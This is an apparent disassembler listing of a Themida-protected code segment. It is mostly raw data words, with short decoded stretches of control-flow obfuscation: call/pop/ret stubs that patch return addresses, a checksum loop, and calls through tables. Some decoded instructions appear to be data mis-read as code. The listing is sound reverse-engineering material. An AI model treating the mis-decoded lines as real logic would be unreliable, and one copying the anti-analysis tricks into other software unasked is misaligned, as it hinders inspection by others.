		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 24D2C357h, 0D4B3D712h,	2AF1A579h
		dd 2BD9BD83h, 0F0107FAh, 39A84h, 0E5958900h, 8307FA07h
		dd 0FA2BD9BDh, 860F0307h, 351h,	0AC9642BFh, 6A6062h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 28D89BC3h, 9094953Bh, 8BD98C66h, 0FA2EA5BDh,	4E18007h
		dd 29B58D89h, 952907FAh, 7FA21A1h, 840FC90Ah, 106h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A0C35545h, 0DBFCAE5Fh
		dd 64BF660Ah, 0E9858B9Ah, 6607FA0Fh, 9462CB81h,	15E18533h
		dd 880F07FAh, 15h, 0DE8h, 976B1400h, 0D8D9DAEDh, 0F4057006h
		dd 0DE8AFD6Fh, 68F0F5Fh, 31000000h, 0FA2379BDh,	8FB75007h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B634C356h, 0BD2B1928h, 850F60B4h
		dd 6, 14B18D31h, 8E0F07FAh, 6, 23F1858Bh, 6A6107FAh, 0DBBF6600h
		dd 46DE6847h, 0BB660E0Dh, 34814305h, 12452124h,	0AE90Eh
		dd 81E40000h, 0AF3477C0h, 0DBF69095h, 0AA5BD2Bh, 95FF07FAh
		dd 7FA1CE9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0CC35141h, 1C9C4EF8h, 8B66EADBh, 968589FBh, 8007FDEBh
		dd 0AAE90CD3h, 0F000001h, 858BF9B7h, 7FDEB8Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h, 0F67D38Ch
		dd 1482h, 0FE900h, 9B6A0000h, 0A1835700h, 0CD410219h, 0D2F13D88h
		dd 0C7DA8B98h, 1800h, 0B6E8BF00h, 0B58B74DAh, 7FDEB92h
		dd 2C01B531h, 858B07FAh, 7FA0D51h, 6860Fh, 0BD8B0000h
		dd 7FA294Dh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 512019C3h, 8D91A5D9h, 3189813Fh
		dd 0FA1EC5BDh, 10E807h,	6FD90000h, 4ADB3C08h, 3EF7736Fh
		dd 2529D59Fh, 8B5B9FFFh, 0FA0FE985h, 0D88B6607h, 0E8044689h
		dd 7, 4E564F22h, 0E9D593F2h, 10h, 0F948318Dh, 0A14FA3A2h
		dd 63C3EA2Dh, 0C22879A1h, 0D1BF965Bh, 50273CD5h, 0CE95250h
		dd 0DC000000h, 0BC068C2Eh, 93ED9E8h, 0FA7F8EBh,	0AE931h
		dd 71C50000h, 51B89698h, 519C9901h, 6696585Ah, 0DF89EF81h
		dd 0EB8EB5FFh, 80B707FDh, 4E8h,	1F03FF00h, 20CEBB00h, 0E9501F25h
		dd 14h,	0A2AE6D1Ah, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h
		dd 424448Bh, 8BDA8Ah, 4489CEB7h, 8B580424h, 96858DFBh
		dd 8007FDEBh, 0BB6649CFh, 6090DD59h, 0F811B866h, 5E9h
		dd 4F7C6300h, 5061CA80h, 10E8h,	69C26A00h, 0F1DCA04Ch
		dd 0D29130C3h, 9A73A4F8h, 12E908h, 15BA0000h, 3A5B8BACh
		dd 7DC95E45h, 0DCABF4E1h, 0CE605F12h, 0C6BF905Bh, 0FF6D1B06h
		dd 0FA1CE995h, 0D3816107h, 20EDFD5Bh, 2BD985C7h, 307FAh
		dd 0BD8B0000h, 7FA1C31h, 0EB96BD83h, 0F0007FDh,	3884h
		dd 0D5BD2B00h, 0E907FA25h, 48h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 79C35141h, 97E0B5F8h, 6220F408h
		dd 3FE8B5Ch, 0FA0F219Dh, 0C305007h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 6CC35242h, 6AE83AC4h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4AD6C353h
		dd 600C789Ch, 2EC9BD09h, 11E807FAh, 0F9000000h,	0A6CF740Eh
		dd 0C8A0B8CFh, 7E1DE3D1h, 293515DDh, 61596160h,	2BD9BD83h
		dd 0F0307FAh, 40385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0E2AEAD4Bh, 0EF5D2B79h
		dd 14E93Dh, 5D1A0000h, 3CB2D88h, 987063C4h, 0C84E4C4Fh
		dd 0F0BCAE1Fh, 0BD830DEDh, 7FDEB96h, 0B9840F00h, 0FF000003h
		dd 0FDEB96B5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0B0CB802Ch, 274595FFh
		dd 0BB6607FAh, 0B58B4280h, 7FDEB8Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 70C35242h, 9550E2CFh, 1545BD8Bh
		dd 6C707FAh, 10001h, 68C0Fh, 0BD8B0000h, 7FA25ADh, 8820F96h
		dd 0F000000h, 287h, 505B5000h, 4C18BB66h, 50006A96h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0F3AC5D4h, 6084DBC6h, 9E8h, 0A106BB00h, 270575C6h, 5F5221A0h
		dd 96B5FF5Fh, 6A07FDEBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F6FC352h, 684h, 0B8666000h
		dd 0FF61047Fh, 0FA18E195h, 4D8D8907h, 0BB07FA0Dh, 0AA75D2Fh
		dd 0EB8AB58Bh, 6A07FDh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 59767CC3h, 1F09BD89h, 9D8B07FAh
		dd 7FA0AF1h, 6830Fh, 85010000h,	7FA015Dh, 1C7D858Bh, 11E907FAh
		dd 0E000000h, 0DD5D2141h, 3CD04A32h, 0B3D85C43h, 0C4AED767h
		dd 29D1BD8Bh, 868907FAh, 0C4h, 6E9h, 89128E00h,	8B397E61h
		dd 0FA1CD995h, 0E1858907h, 8307FA02h, 0F6B304C2h, 6A205089h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0D5B6C353h, 7BA2A10Ah, 73D2E8Fh, 0F890Fh
		dd 0AE90000h, 0E4000000h, 0B76CF2B1h, 0DDED8028h, 0D78166C2h
		dd 858D348Ah, 7FDFEF7h,	868933B3h, 0B8h, 0BE9h,	5DECEE00h
		dd 752E773Ah, 7A31ADDh,	810F006Ah, 2, 0B5FFDE8Bh, 7FDEB96h
		dd 651ADBFh, 9595FF28h,	6607FA1Ch, 78DC381h, 0BE996h, 27AA0000h
		dd 0DC79FDDFh, 896A0058h, 0BF6650A9h, 6A96CC42h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 261CC352h, 0CD3E3598h
		dd 0B58914AFh, 7FA3139h, 0EB96B5FFh, 0B53107FDh, 7FA08A1h
		dd 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D2B66C3h, 7FA2A31h, 131BD83h, 0F0007FAh
		dd 2E84h, 3721BF00h, 60502D2Bh,	68F0Fh,	8E0F0000h, 0
		dd 0EE8h, 0E0D5E400h, 0F7FD25F7h, 0DF956C98h, 66E81E5Bh
		dd 615FC38Bh, 0FF243489h, 0FDEB96B5h, 1D852907h, 0FF07FA2Dh
		dd 0FA1CB595h, 0A820F07h, 60000000h, 0D681CF8Bh, 3E201C00h
		dd 96B5FF61h, 8B07FDEBh, 0FA20BDBDh, 11E807h, 1B460000h
		dd 0C9940CCEh, 0D86AB99Bh, 534C2201h, 66168316h, 0FF5FF98Bh
		dd 0FA21AD95h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F73B7BDh, 0BD83DABFh
		dd 7FA2221h, 6C840F02h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0D3ACC355h
		dd 2CE70B87h, 858BEA72h, 7FA1615h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0CBC35040h,	0B6272BDBh, 0C649h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DDC35242h
		dd 0C7DF8B1Ah, 0FA16DD85h, 7, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0EABFF2E2h
		dd 0A5EC56FDh, 0FFF3DAE9h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D0B82B4h
		dd 7FA2E99h, 8B66C18Bh,	99858DD9h, 6A07FA01h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FC32C352h, 501FB390h, 0EF5C76BFh, 14E99013h, 0A6000000h
		dd 0A712945Fh, 0E97E9124h, 0AA44A6C2h, 0CE9DB09Dh, 6A4FD2DEh
		dd 6830F00h, 89000000h,	0FA0E198Dh, 0F8BF0F07h,	6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9373CBC3h, 0C98160E4h, 556106E9h, 8E9h, 66D37D00h, 0BA4332ACh
		dd 0F38161CBh, 46BC04AFh, 19E1858Dh, 12E907FFh,	0B5000000h
		dd 9CBF54C3h, 4DAD58DFh, 29181CEBh, 48AEF3A2h, 952960ACh
		dd 7FA15E9h, 8361C28Ah,	6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 57533BC3h, 6690C41Ch
		dd 9050FE8Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	7EC35141h, 66990C49h, 0BCB7F98Bh, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0DFA4D4C3h, 800FBBD0h, 0Ah, 5958B60h, 5707FA0Dh, 6A615Ah
		dd 11E8h, 7AD3F100h, 421FCCE4h,	0A4676AFEh, 0C7B50980h
		dd 66573792h, 5B5BF88Bh, 2BE995FFh, 0BD8B07FAh,	7FA259Dh
		dd 12E9h, 0D52E1700h, 38EAE0B2h, 0B51D7843h, 11DF2BF3h
		dd 8D52C7F5h, 0FDD7118Dh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0D55EF98Ch
		dd 0BD8B0EE2h, 7FA078Dh, 7D9D8B50h, 5F07FA0Eh, 0BB66D1FFh
		dd 0BD83D026h, 7FA33EDh, 57850F01h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 94D3C353h, 26A5DE6h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 4DC35545h, 0F215C894h, 0DA8B6650h, 0BB240489h
		dd 77B0A3Ch, 1C9595FFh,	0BB6607FAh, 1BE9A329h, 0E800000Eh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FF19EBh
		push	0
		push	ebx
		call	sub_5D4E3E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4E3E	proc near		; CODE XREF: Themida_:005D4E36p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5D4E3E	endp

; ---------------------------------------------------------------------------
		dw 0C90Fh
		dd 3518A3Ch, 0ECB36F0Ah, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 4CC35141h, 4BC78166h,	59858DB9h, 6A07FDB9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0C8C4C353h, 8C30A825h, 0F2504E0h,	681h, 60DB8100h
		dd 9018330Ah, 56505B56h, 905BD88Bh, 2B798529h, 616007FAh
		dd 35FF64h, 81000000h, 21939DF7h, 2589642Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D4EDF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4EDF	proc near		; CODE XREF: Themida_:005D4ED7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D4EDF	endp

; ---------------------------------------------------------------------------
		db 61h
		dd 0C13A4FD6h, 890F66h,	0FF000000h, 0FA104985h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0D6105EFAh, 0F5A39068h, 6820F01h, 0B000000h,	0FA0E299Dh
		dd 0E9FF6A07h, 0Dh, 27A4DC05h, 0C2318729h, 0C4EC879Eh
		dd 0EDB5FFBAh, 0FF07FA28h, 0FA287595h, 152E907h, 880F0000h
		dd 6, 3175BD89h, 0B007FAh, 0E6FE8B66h, 759D8B70h, 0E407FA25h
		dd 0D4F38171h, 3C77DC01h, 29830F61h, 0F000001h,	0B60FD8B7h
		dd 41BD2BC8h, 0E807FA2Fh, 0Fh, 0B71A89DDh, 6A92C0F6h, 9199ACE3h
		dd 0F425219h, 80h, 6BA5B00h, 0E9000000h, 14h, 18C70BA7h
		dd 0D61F80EAh, 46B24BADh, 0DFCA891h, 176C524Bh,	0AE8C18Bh
		dd 81000000h, 88381987h, 0A988F9BEh, 7E8C3h, 0E9750000h
		dd 7743C5CFh, 0C15B5F41h, 0B50904E8h, 7FA1D25h,	81E2F766h
		dd 0A49720CFh, 8AC82B50h, 89D18BFDh, 0FA1BE1B5h, 0A2E907h
		dd 8B570000h, 0FA21D5BDh, 858B5F07h, 5F4C4C44h,	0C083C2B7h
		dd 58F0F07h, 66000000h,	5F9FDF81h, 0C083DA8Bh, 13E85600h
		dd 0E6000000h, 720D4DC7h, 0D6DA2821h, 53200BF2h, 0A9B049EAh
		dd 0C3816B1Bh, 5F45A176h, 830F5F5Bh, 3,	3BDFBF0Fh, 18830FD0h
		dd 89000000h, 0FA155185h, 2DDFBB07h, 3DE918D8h,	50000000h
		dd 91BD33h, 8B5F07FAh, 0FFFFFF8Dh, 9D9589FFh, 8307FA0Bh
		dd 840F01E1h, 20h, 0A583F88Bh, 0FFFFFFFFh, 0E5BD8BFEh
		dd 8907FA00h, 4C4C4495h, 0A99D8B5Fh, 0E907FA29h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FE9429h]
		mov	bl, 0F8h
		push	0
		push	0
		push	esi
		call	sub_5D50BD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D50BD	proc near		; CODE XREF: Themida_:005D50B5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5D50BD	endp

; ---------------------------------------------------------------------------
		db 0E7h, 0DDh, 44h
		dd 0FFFBBF0Fh, 0FA101995h, 8E807h, 95100000h, 0CD0BA59Bh
		dd 0C781473Ah, 62DF8E04h, 0F86B95Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0AE9CCC3h
		dd 0A8000000h, 0F85C6390h, 6E7069BEh, 0FCE183F0h, 1895BD8Bh
		dd 816607FAh, 0FCB780EBh, 11E960FCh, 0BA000000h, 804892FEh
		dd 65C51CDh, 0C127CC0Ch, 33B55D49h, 25BD9529h, 0B86107FAh
		dd 0
; ---------------------------------------------------------------------------
		mov	bx, ax
		mov	edx, 0
		sub	[ebp+7FA0B9Dh],	eax


loc_5D515E:				; CODE XREF: Themida_:005D5168j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D515E
		push	0
		push	edx
		call	sub_5D5175
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5175	proc near		; CODE XREF: Themida_:005D516Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5D5175	endp

; ---------------------------------------------------------------------------
		dec	ebx
		test	[esi-4Dh], ebp
		cmp	eax, 6F605BAh
		sub	[ebp+7FA353Dh],	edx
		push	0
		push	ecx
		call	sub_5D519F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D519F	proc near		; CODE XREF: Themida_:005D5197p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5D519F	endp

; ---------------------------------------------------------------------------
		db 67h
		dd 0EDBD89CDh, 0D07FA01h, 88h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 36C35242h, 784922ACh, 62E7B133h
		dd 55858969h, 8B07FA17h, 0FA281D9Dh, 0D9958B07h, 6A07FA1Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 8457C350h, 978D792Ch, 9D8B0A8Fh, 7FA0821h
		dd 2299BD8Bh, 8D8B07FAh, 7FA31ADh, 820Fh, 8B500000h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E4C35343h,	0B6B2DB84h, 3DB40CEEh
		dd 6009CB81h, 6A1BDDh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 83030CC3h, 0FA2A29BDh, 840F0007h
		dd 6Dh,	0A58D8B60h, 8B07FA01h, 0FA113DBDh, 0B86107h, 8B000000h
		dd 0FA26FD9Dh, 668D8D07h, 6A07FA4Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BF7C355h
		dd 8B6660F8h, 0C9B866F3h, 0E1FF61FEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 3C35343h, 8CFC99A1h, 68E78166h
		dd 0D9BD8336h, 7FA2Bh, 3CA840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D57516C3h
		dd 5E00CCD7h, 8B8AAC5Eh, 0FA1759BDh, 0D9BD8307h, 107FA2Bh
		dd 3AD840Fh, 0BD830000h, 7FA2BD9h, 6A860F03h, 8B000003h
		dd 0FA179D9Dh, 66FC6007h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 950129C3h, 7FA15E5h
		dd 0A04E180h, 36840FC9h, 9000001h, 0FA3129B5h, 0E9858B07h
		dd 307FA0Fh, 0FA14D1BDh, 0E1853307h, 2B07FA15h,	0FA1EA59Dh
		dd 8A509007h, 6A90FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0F9DB61C3h, 0DE08B43h, 9D09C167h
		dd 7FA08CDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0EB7B4EC3h, 8945CEF2h, 0FA02F195h
		dd 5D9D8907h, 0E807FA0Ah, 4, 1F03FFh, 128C0Fh, 0E8560000h
		dd 0Ah,	0E63F7C33h, 2F28BCC6h, 5B5F26C8h, 8BD88B50h, 66042444h
		dd 8BD98Bh, 807EBF66h, 4244489h, 48D0Fh, 0BB660000h, 6A5885D1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 661EC351h, 85899AC1h, 7FA06F1h, 840F56h
		dd 5F000000h, 20F38166h, 0E995FFD7h, 0F807FA1Ch, 89FEB70Fh
		dd 0FDEB9685h, 58D2907h, 6607FA2Bh, 0BC2BDB81h,	1BFE9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 813A0F7Eh, 9D29597Eh, 7FA0CDDh, 8E858BFCh
		dd 6A07FDEBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0CD68C350h, 0DB960D29h, 1800C7h
		dd 0B58B0000h, 7FDEB92h, 0BE8h,	0EA8E3900h, 0FEAB0E26h
		dd 2DDD8611h, 2EE18D89h, 8B5F07FAh, 0FA0D5185h
		db 7, 6Ah
; ---------------------------------------------------------------------------


loc_5D5512:				; CODE XREF: ___:00511300J
		add	[ebx-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 8947E333h, 89D98B06h, 0FA2EAD95h, 0E9858B07h, 0F07FA0Fh
		dd 68Fh, 880F00h, 89000000h, 8D310446h,	7FA2289h, 0B899D8Bh
		dd 8B9607FAh, 525050DAh, 8E857h, 0CC410000h, 3E63AA4Ah
		dd 5B5BB9D3h, 860F310Fh, 0Bh, 5E8h, 9365F200h, 5A5FF4F6h
		dd 0D3819658h, 0F761980h, 0EB8EB5FFh, 6A07FDh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F59934C3h, 0AC19D8Bh, 0C66807FAh, 0E980F522h, 0Bh
		dd 1884117h, 0E3D66D72h, 81AEEFF8h, 0E1392404h,	6A7F29h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0E106FBC3h, 2DBD8B2Fh, 8D07FA2Ch, 0FDEB9685h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3E390603h, 66525050h, 310FF88Bh, 407991BBh, 89585A6Ah
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 67A3BAC3h, 0E995FF07h, 0BB07FA1Ch, 18382BFDh
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 861ED1BDh, 89A6A51Ch, 0FA1829B5h, 0D985C707h
		dd 307FA2Bh, 0E9000000h, 12h, 3CA8D13Fh, 1C5A47FBh, 119E8439h
		dd 0EEE8BB26h, 0BD837A4Eh, 7FDEB96h, 0E840F00h,	89000000h
		dd 0FA11C985h, 1EE907h,	0BF0F0000h, 0C3050FBh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 68C35747h, 67495B50h, 8D8B6053h
		dd 7FA1575h, 25118D09h,	5F6107FAh, 6AF98B66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 9FFDC356h, 34499D8Bh, 0BD8307FAh, 7FA2BD9h, 0B1850F03h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0C98C351h, 0B589C63Eh,	7FA0B3Dh
		dd 96BD83F8h, 7FDEBh, 47E840Fh,	0B5FF0000h, 7FDEB96h, 2C959D8Bh
		dd 95FF07FAh, 7FA2745h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7AC35242h, 0FF9E2AF4h, 0E876641Eh, 0Bh
		dd 0A8B9F941h, 0AD554254h, 99E4A08h, 0FA1D09B5h, 0B58B5B07h
		dd 7FDEB8Ah, 5E960h, 93280000h,	6126A84Bh, 68B0Fh, 0BD890000h
		dd 7FA2C45h, 106C7h, 8D090001h,	7FA34F9h, 0EAEFCB81h, 0E896322Eh
		dd 0Ah,	6D30AFE9h, 874EE59Ch, 0BB662EDCh, 505F0AACh, 0F30C6EBFh
		dd 0BF66961Ah, 0B5FF465Ah, 7FDEB96h, 21A99D8Bh,	95FF07FAh
		dd 7FA18E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	78C35747h, 0FBAB3BDh, 683h, 59858900h, 8B07FA2Ah
		dd 8AB58BFBh, 6A07FDEBh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 3854C356h, 8B81213Dh
		dd 0FA1C7D85h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 66943000h, 89F678BFh
		dd 0C486h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 9D659CEDh, 0FE9CC51h, 6A000000h
		dd 15D6F77Bh, 5F14ACF0h, 39C21AF2h, 958BDCB2h, 7FA1CD9h
		dd 2BDDBD89h, 0C28307FAh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0A52C5003h
		dd 4688D076h, 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h
		dd 205089DFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	93C35747h, 599D8B92h, 8D07FA27h, 0FDFEF785h, 8B665307h
		dd 86895BDAh, 0B8h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 32C35141h, 0CC7AEBC3h, 0F2358D5h
		dd 0FD8B70Fh, 681h, 0D1B50100h,	0FF07FA16h, 0FDEB96B5h
		dd 0EDB52907h, 0FF07FA2Bh, 0FA1C9595h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 5E2C53E2h, 8934CFD2h, 0FA1DED95h, 8E99607h, 0FA000000h
		dd 1DD30243h, 5050BB6Eh, 3880Fh, 8B660000h, 605696DEh
		dd 26B5B58Bh, 880F07FAh, 0
; ---------------------------------------------------------------------------
		popa
		pop	edi
		push	dword ptr [ebp+7FDEB96h]
		xor	[ebp+7FA2689h],	edi
		call	dword ptr [ebp+7FA1D95h]
		push	0
		push	eax
		call	sub_5D5A3B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A3B	proc near		; CODE XREF: Themida_:005D5A33p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D5A3B	endp

; ---------------------------------------------------------------------------
		mov	eax, 0EC4A469Dh
		cmp	dword ptr [ebp+7FA0131h], 0
		jz	loc_5D5B18
		push	0
		push	edi
		call	sub_5D5A68
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A68	proc near		; CODE XREF: Themida_:005D5A60p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5D5A68	endp

; ---------------------------------------------------------------------------
		db 90h
		db 5Eh,	2Eh, 5Eh
		dd 3147B87Ch, 10E8h, 7367CF00h,	2FBD90Fh, 4F5E135Bh, 0CCFA82B2h
		dd 178E0F55h, 0E9000000h, 12h, 0BCCE8B11h, 0CC847790h
		dd 0D53D44BFh, 52E271CFh, 0E95F7C7Dh, 0Ah, 4849D208h, 0A7348F61h
		dd 8B966126h, 525050F8h, 0BDB86660h, 6159568Ch,	0E960310Fh
		dd 14h,	95DF8F92h, 0A0D26940h, 0B1D03522h, 6DEA4F06h, 5EA584BEh
		dd 5A61F38Bh, 6A9658h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0D8200AC3h, 9D2B24B7h, 7FA34A1h
; ---------------------------------------------------------------------------


loc_5D5B18:				; CODE XREF: Themida_:005D5A57j
		push	dword ptr [ebp+7FDEB96h]
		mov	ebx, [ebp+7FA0EF1h]
		call	dword ptr [ebp+7FA1CB5h]
		push	0
		push	ecx
		call	sub_5D5B35
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5B35	proc near		; CODE XREF: Themida_:005D5B2Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D5B35	endp

; ---------------------------------------------------------------------------
		cmp	al, [edi]
		fimul	dword ptr [ebx-3A40C967h]
		lodsd
		movlps	qword ptr [eax-77h], xmm4
		xchg	eax, ebp
		std
		add	bh, dl
		pop	es
		mov	esi, ecx
		popa
		mov	ebx, [ebp+7FA255Dh]
		push	dword ptr [ebp+7FDEB96h]
		jnz	loc_5D5B71
		xor	bx, 21F3h


loc_5D5B71:				; CODE XREF: Themida_:005D5B66j
		call	dword ptr [ebp+7FA21ADh]
		push	0
		push	ebp
		call	sub_5D5B82
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5B82	proc near		; CODE XREF: Themida_:005D5B7Ap

arg_4		= dword	ptr  8

		pop	ebp
